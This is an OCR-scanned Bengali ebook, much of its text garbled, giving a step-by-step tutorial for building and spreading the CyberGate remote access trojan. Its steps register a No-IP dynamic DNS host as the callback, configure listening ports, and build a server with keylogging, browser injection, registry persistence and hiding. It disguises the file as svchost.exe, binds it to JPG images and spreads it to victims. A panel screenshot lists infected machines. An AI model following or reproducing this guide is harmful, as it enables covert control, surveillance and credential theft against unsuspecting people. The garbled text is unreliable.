T SR T R Faft Sagen Mediafire o oreTe 3w@R 1 T T SISAETS FAG 76 3T 93 A | ARG APEE 0T AT
@A 5 o S Shoe FAe AT | S O B ST AF5T SRAN W FER (B 8 @SS B ffty R T 51 SUW FF®
MFSIG 2= WWW.tunerpage.com

File Info

Report date: 2012-03-31 16:15:00 (GMT 1)

File name: pie-rate-production-for-tunerp

File size: 2162657 bytes

www.purepdfbook.com
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SHA1 Hash: fa5c2ed8a3cd60aef0a976a45e2f50c02baad516
Detection rate: 0 on 9 (0%)
Status: CLEAN

Detections

Avast -

AVG -

Avira AntiVir -
ClamAYV -
Comodo -
Emsisoft -
F-Prot -

Ikarus -

TrendMicro -

Scan report generated by NoVirusThanks.org

A @@ 9F6T B N F . FE T | @@ G S FAT AP -0 BT TR M |
\)
X)) TRG ST
o) ot
www.purepdfbook.com

SR a7 S FE 6% ST {E @SAT IR SIS b1 WIE6 oW A7 NG Iy RG ShIeT 9 O WEE FRE vo &) I oImRe B

FE | A I W | PR T ARG AT A G 3 FE o S vem o i I YR | o7 I ST aNbE FA© 5
°@ I IFHERT TR 4T |



http://www.BanglaEbookDownload.Com

% axe 3|gF www.BanglaEbookDownload.Com

T I 9 v — RAT 7 @177 fFem ? T@f@e

T TR 97 bF A Ao F77 RAT g Sarm @R 1 3@ | FE 3 FRT G571 GRS B I5 63T T G N i

©F [ FAE AT A6 67 e TR @ B8T 47 ¥ rfIred AT @ | af eAE FER Y§R ANFIECT | T FE I @ Foud TR
AR A | AR FACHS O ST @ GACH HAGE SR BOAR O7 I I Wil A o

Intro

s SRR A @@ AT A I W A T I P e onenss RAT @ Fw wAer AT (e 7 T @

w3 o7 @ RAT a7 5 37 == Remote Administration Tool | ¢y axeme 7@ o RAT 20w 959 3357 SBoaT I Sy

9% J7 AFEF FPATCOE @ 992 M 92 Heea T fomms a1 73 | 5w agFerwee o RAT a7 a@s awe @ g | fFera

s f s TeamViewer / UltraVNC  asras @t [t ? asea S sfifee ? 30 P 5 ome 7es 3 @
TeamViewer, UltraVNC asgen e RAT f&e as fosmer RAT #7189 243 a1 a3561 Biees 98 Sy S F41 2, 6161 @
AT FA T B TR T PG GO @SN MM | R ANAT (O NAR I Do AT AT BT R owemsar 3Aa e ar
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ARG 9000
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e DarkComet
e Poison Ivy

@ @ e swge CyberGate | Cybergate Sioaws 8w 77 F99 9230w | @@y 6@ @@ TRES TONAG MR §13
BT PRATRE 2 IS I Rl S S5 SRAN W 8 i fif @

File Info

Report date: 2012-04-01 23:52:11 (GMT 1)

File name: cybergate-v1-07-5-zip

File size: 2389553 bytes

MD5 Hash: 7207dd93f9ac027059e7e4ef7d310686

SHAL Hash: 75636952e912d6c889e31af7be98ec4610ecee54
Detection rate: 50n 9 (56% )

Status: INFECTED

Detections

Avast -

AVG -

Avira AntiVir — BDS/Backdoor.Gen
ClamAYV -

Comodo — Heur.Pck.EXECryptor

Emsisoft — Trojan-Dropper.Win32.Decay!lK
F-Prot — W32/MalwareF.GMQY

Ikarus — Trojan-Dropper.Win32.Decay
TrendMicro -

Scan report generated by
NoVirusThanks.org

Rt o B M@ A1 AT A BT 97 @ T IS AT A SACTS NPT TEE | WF Rt 71 NFE fE 9 G EeE
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Cyber Gate

Cyber Gate ¢ibar Fate aaE Fose $fas AT TG FIE TF | SIEAASG FA© AEAF O7F 7% 57 |

e No-IP Duc
e Winrar / Winzip
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STEP

01

iR hitp://www.no-ip.com/ a3 w136 a I s fwa fimd Fo @ S 7% 3@ @ReeE ™ afFa g 399

“Home Download Services Support Company

Managed DNS

No-IP Plus, The complete managed DNS Solution

Easy to use interface. Complete control over your domain.
FREE dynamic DNS update client. +/ Includes 50 hosts/sub domains.

Sign Up! More Info

-

STEP

02
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Free DNS

$0 / year *

TRY BEFORE YOU BUY

» 3 hostnames

« dynamic DNS updates

« URL redirection

« personal use only

» 30 day account confirmation

*Good choice for users that only need a
hostname or two and don't mind

Enhanced DNS

vl
s

« 25 hosinames

more domain name choices
phone and email support
no ads on redirects
commercial use ok

neo account confirmation

DM 51495/ year

CUSTOMER FAVORITE

<:| Free DNS TCE e

*Good choice for users that need more

hostnames and don't want the hassie of

Plus Managed DNS

$24.95 | year

'GREAT FOR BUSINESS

« 50 hostnames

» use your domain name
« anycast DNS

« 100% uptime guarantee

*Good choice for users that want to
control their very own domain. ie
yourname.com. Also a great business
solution!

STEP

First Name:

| pirate i &

Last Name:

Email:  e—

5
(=]

&b Account Information:

Username: 4
Password: 5
Confirm Password: 6

g Account Access:

Security Question:

Your Answer:

Birthday: 2 =) -1l
9 10
f__'( Terms of Service:

Please review our Terms of Service {TOS) below. By ceating an account you are agresing to our TOS and

Privacy Policy. The TGS states you may only have one (1) free account, and that geation of multiple free

12

| agree that | will only create one free No-IP account.

Terms of Service

1. ACCEFTANCE OF TERMS

Mo-IP.com is an Internet-based Web site that offers DNS Hosting, dynamic DNS, URL Redirection, email
hosting, domain name registration, server monitoring, and software utilities {each a "Service™ and

By clicking on | Accept’ below you are agl g to the Terms of Service above and the Privacy Policy

AF AFCTH FAE AP 00T ARG @ AfE FARGE fF M Sbe FF F@ AT IRfe Fan FE [T | FAn [T a9BE oS I9

AR ICEAE TS ICRA ARG AT NAE oy AR FFA
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Forget your password? No problem, Click Here

STEP

05

237 Ff@ afFR e 3@ fana i s @ Add a Host o 7% w59

2 Your No-IP

Pirate, welcome to your No-IP! Last Login: 2012-04-01 15:14:48 PDT from IP

You have successfully logged into No-IP's member section. To start using No-IP's services select an icon below or choose
an item from the navigation above.

@ @ & [a].a

Manage Domains Add Domain Refer Friend Add a Host Manage Hosts

2

717 QAN (5 Fa1

ATE @ O ANE AN I =fFT qo F@ S AT @ AFNF [ 3% Ny 2 AFE T Q@@ @7 3= @end fiere w@ Create Host a
f&s @59

www.purepdfbook.com



http://www.BanglaEbookDownload.Com

Hostname:l tunerpage serveblog.net 5 2 a@

Host Type: @ DNS Host (A) ) DNS Host (Round Robin) ) DMS Alias (CNAME) @

() Port 80 Redirect & Web Redirect

IP Address: | @

: . oo |DNSHost (A) Opti 1
Assign to Group: | Mo Group - = |[? Configure Groups @
Enable Wildcard: Wildcards are a Plus / Enhanced feature. Upgrade Now! @

+ Accept Mail for your Domain
Let No-IP do the dirty work. Setup POP or forwarding for your name.

Mail Options

MX Record MX Priority

Enter the name of your external mail exchangers (mx records) as hostnames not IP
- 9

If you would like a mare MX records, please upgrade to No-IP Plus or Enhanced

3

a7 srEr 16 g $397 NO-IP DIC fa@ | @b sl Zemies SIoarTs 3@ GOt | A31F 139 OI@ 3516 3@ Gea ol Sefv |
%16 e @ 8 F5a NO-IP DIC cvsmr &1 1 8t = azg amer http://www.no-ip.com/ @ wfF a1 aife 8 sweas i afa
T |

La = B’
No-IP DUC [

Please enter your e-mail address and
password below. Don't have an account?
Mo problem, click here to sign-up free!
Forgot your password? Even better,
click here to have it e-mailed to you!

E-Mail Address (N
Password T

o Jle=
_-_—

a5 3 = foawa wf{E we F@ e Select Host o 7% 3390 | a1 901 @ W SUH @ @ AR AFp 9T (SfF FAT @6 T
offFiee MFE | ABE IN ME I 0F T oo g
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Select Groups/Hosts

&

Please select the hosts or groups to be
assodated with this dient. You can click here
to manage your hosts and groups within your
account on the No-IP.com website,

oup:
Hosts

tunerpage. serveblog.net

www.BanglaEbookDownload.Com

% No-IP DUC v3.04

= =)

File Edit Tools Help

Status

Client ID: S

Account: gl

@ Edit

Updating: 0 Groups & 1 Host

@ | select Hosts

IP:
Mext Check: 4m 55

@ |Refresh Now

4:22am: Updated 1 items successfully.

[]Require a password to modify hosts
ﬁ =

STER

09

Control Center sz = == Start 2 7% 54

-
CyberGate v1.07.5

ldghtification  WAN J LAN

Minimize
M

aximize

S onUu o

a3rm Cyber Ghost a7 = TIBaEns Fa7 57 @O 51 AafST F@S A3 GO 57 8T FFA | SUW T T wfHE e FE O

s Control Center a & w@ Options > Select Listening Ports a &= z5=
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x

M sTART entification VAN { LAN

@ stop
@ Minimize
] Maximize

&) Builder  »

Collapse menus

5 Tools » .

I— View
@ Update Language
6 About e FTP lnne

=]

@ Bt 3 Select listening ports

TTGroupraner visual notimication

v Sound notification

Display flags by GeolP

Select notification sound

STEP

11

9IF @ IH 8UA @ SR > a7F 5@ fr@ 100 az:
AN TS @ AHSAE T a7 6o Fga

f Select listening ports ﬁ‘
Active Ports
v 2EJIC_J1
# Delete

' Connections limit i
Connection password

! oo |

Show password

] |

——

i
. CTART

240 Identification  VWAN / LAN
@ stor
@ Minimize
] Maximize
9y Options
S Tools 2

@ Update
ﬁ About

€ Bt

- Groupraner

3

|
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Y AT 93T FFA | © TEEF HE@ FES 9T KA oo FFA IR NEA {E@

s control center a % @ Builder > Create Server a 7= s5=
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STEP

13

Create Server T3t svm =@ New a 7% 3@ IrAE M= Jo A@E a9 fiF & 394

Create server |i|1
‘5& Users |
Users 1
EX
. 4 New User M1
The name of the new user is
Ipirahed I 2
3 Jlom ]
STER
23R M3 tefd FA1 oK fo e F@ Forward a 7% w54
Create server (NS o - - — ||

a@ Users |

Users

¥ pirated

2 [ Forwara |

STEP

)

T T3S @ @ DNS % ags 1 @« o f7s 3@ e @ Ot s3a
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Create server ——— —

www.BanglaEbookDownload.Com
— - - S

1

I ]‘Identiﬂu:atinn
Passord

A users @ Connection |=:>_. Irtstallatiunli Messagel.“_, Ke_vluggerl@ Anti—.DehugI 5 Createserverl
DNS Port

remote

cybergate

Identification remote

# Delete Password cybergate

Show password

3@ Add 5@ 7F 3@ v TEE 667 2 ofs FA @t | 100 fym fawa =fFE ¥ F@E AR 8@ FA

Show password

-

DMS and port connection

=

v 12700 1-81%

Please enter connection address and port

tunerpage.serveblog.net: 100

a3r= ldentification 93 =@ @@E ARG e MET 93 THSIE 97 "E@ TS oy

M users @ Connection |m

DNS Port

tunerpage.serveblog.... 100

FFFAT 7% @ o9 |

|_!_ It | ."_, Keylogger | @ Anti—Debugl 5 Create server|
Identification 1 {unerpage I
— |

Show password

3@ T @@ Installation tva fiere 3@ faws =7 T 3@ 7 @t ffw % s@ faw | Swxy 61 Random ke @ Saman
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-
Create server — -

—_—— — =)

|£& Usersla Connection | » Installation | & Messﬂgelp‘_, Keylnggerl@ Anti—Debugl 3 Createserver|

Install server
Installation directory

System
@) Windows
) Root

() Program Files -
() Other :c::‘.direc,tcry".CyberGate'-.

Bgot

Policies\Explorer\Run  Policies

ctive Setup

1105854 WIKAZ- 0 1L-304E-36XRE0WALNEV}

KEY_LOCAL_MACHINEVSoftwarel.\Run  HKLM
KEY_CURRENT_USER\Software\....\Run HKCU

dicact iz Name
B = 1 1
IWin Dir I rgv exe I

Inject into:

() No injection

@ Default Browser

() Other
explorer.exe

ersistance
ide file
hange creation date

elt file

[T Ranaom | e '
DNSENJ4ZBAFOKD

a3= Create Server 57 @@ faws =@ we 3@ @ % 3@ faa axx Create server a &+ 39

r
Create server —_—— -

- — o - g

|‘,@ Users I @2 Connection | . Installation | i Message | [*| Keylogger I @ AntiDebug| 7 Create server
ﬁ] Use icon Jelayed execution 1 (Seconds)
[] Compress with UPX {Boogle Chrome Passwords:
[ Bind files % [ 7 Create server ]
Connection -
DS e e e s e e tunerpage. serveblog.net:100 B
Identification. - _ ... . . _ .. _ ... ____._.- tunerpage H
| Paeamoeed <o e s S R S L e i e T 0387&e5 Al
Installaticn
Inject imtoz. . . oo Default Browser
PEra e ATciE & n e e s e i e e e R e Yes
Hige- X e oo o oeii oo mouii s e s Yes
CHange creBtion, QREEL _ oot i Yes
Melt file. .. .. . ... Yes
4 b |

v

RAT &GorT a3 15 (1 | 939 f@a oo Ao a Ol 3mpe S @ .EXe IR B (76 54
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. CyberGate v1.075

| Savein: W Desktop - & 5 0 55 o g

b e W ]
’;} il leranes_ .

" || System Folder
Recent Places .

! Homegroup =
* Systemn Folder
Desktop

) Captain Jack Sparrow

_._—_|_|J % System Folder =

Libraries )
'.L- Computer
e Systern Folder

A _
Computer C a" . MNetwork
| ‘:: k System Folder
LW
FIFA12 ¥
MNetwork m
File name: IS\rchost - I I I Save I
Save as type: [Executables (*exe) v] [ Cancel l
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2R A fFFfo 97 TP | aeEr ae%e @ RAT SEeF 51 I@es @A @ @t @ 361 .eXe Famb 97 ? @@ snfoeRant [
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TSR 932 HAF ST @ @@ fire M@ | ot =re) IReE 97 RS 3 fte SR | ©@ erF Al A%, TE AW @S @R |
et fa@ anfir e as6r 507 @™ o) W= 6T a7 a1 | [ 797 Fhr [Feow 75 33 |

2o AT IO G SPE] @SN AF6] HRT J1 FEACoE 97 FH6 T1 55 @ FEGOE A "1 SfGeRas e (Tond (W a1 |, ©Td]
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ROTE (e SIS ? 43 TSR AB7 SNBERAN @ WS fF Few JME Ae AT

AR RACTH AR N AR IF61 HIRT 9T T AP AWET IRET NOF @ Jo F(F @8N | HFA 9567 A 97 MY AN SR H@
RS FE T | AW A I A AR a3 MR 51 @ ReTT RS fF O 5% a6 aJGT™ A IFE™ 2 @{E

eXe @E a1 (WerE B T SR AEhe A1 v W 99 (HYE NTH FH© o

R fFIR 9T MBI [T ILEGET 98 TG A I 3 A0 RS @ AE A AHAS FA© N ©R AN AT @ fEBT a9 ww W @
oI 9351 AT A6 A ARG FAGH | WO T S O U T 9F6T IRSH A7 SN forw e fifl

JPG+FileBinder [ 281 fim 1y JPG Peem 13 Sy IRT Fat6 "HGEA |
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94w fFeng o FISFE BT ¥ SFE F99 ?

AFE FAT AT YT WOF FOT DAY QAT TNE TT TR @A o =

o @ NO-IP DNS @@ saerm3 st ATz 9o SI93W A

. WZ@%?WDNSaaawwmﬁﬂ@WWWW@mmwweﬁﬁmmmﬁrﬁz@wﬁ@@
o IR oM 9T T a7 TG @F 9F2 W
o IAFER FTIHSTHA AF APEANF FEEH FI(@ T A1 6F

T AMFT A7 AT aAnperzarT 2797 Cyber gate @& sme MF o WIF TIAFY [ 7 [/ @ AT |

AFE FA A@S oo MR | A fAFed FE I FNE > FA0 5= | I @A fitg e @ NFE Fa0© W ©F@ OF Bfe F74
, OIF 7&el B @F FFA AT (OIF IS A |

I A AT IR FASH A AT @ ANFR FA© G SR (PN @o3T N RS o | b1 o fFgfae 9361 73w | a3
fifaea mIel @ B3 4 afsr (aF 739 e fwe off s e 391 e wfe@ f&few [ spreading | e |

fFeIm 3T @ @S AT/ TA® 7

e Cyber gate 3 BEmS B SUW FA AFE @6 AMFE T INRFT SNER 8% TIST @ BT AN | IF NRoIWeld S o w6
QAT FFA |

CyberGate v105.1
[ control Center
Location entifcation  WAN/LAN Computer {User ANl Opcrating System oy RAN  Anfivius Firewal Version Pot g (m)
IZSweden & Mlerk. 2121B11501ST71S21.. WARCUSPCMarcus (@ Mo Wincows Visia Premium (Bu.. hte(R) Core(Th... 2,00GB Mot Found Net Found Voss sm0 a7
EmGermany Lo opfer. 7ES4212168/15216E... WARCOPCMarca @ Yes Widows Vi Premum (Bu... intel®) CoreCTi.. 267 CB  Not Found ot Found Goes S0 7
EmGermany & opfer. 7B49669378496693  BE/andreas & Yes Windows XPProfessional(_. ntel®) Core(Tl.. 149GB AniVirDeskopv8.0132/  Not Found vioss smo 47
= Germany 4L opfer. B8376154.108/192168... STEVE-PC/Steve @ Mo  Windows 7 Premium (Buid AMD Sempron(t. 2,00 GB Mot Found Not Found v1.048 5110 328
gl i = v

Connetion log:

Tha, Jun 24, 2010 0840 Al

ARCUS: cie

- |

Total Connections: 17 [ Cear [ Save |
Search Fnd |
Servers online: 4 Waiting for connection on ports: CyberGate Inftilized
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T @ AT/ TW@ 97 F 777 ? Ferm THE 38 5 o ? @

T@ 8 BT Al 5 Cyber gate aw i T AT a1 ARG FF I AF W @ A To TS | T oF 5 6T

CyberGate w1051

[ Glar | [_Sawa

Search =

Servers enline: & Waiting for connection an perts: | CyberGate Inmtialized ...

%1 | o g @ E A @ W@ W/ o E 8 @ fFerT ¥FE [HfENT oY FF W @ | ©F ap1 , AR/ a6, w{er @ F
WWWWWEWWIW@WWWWWWTWWW@W‘f&rﬂﬂ@l
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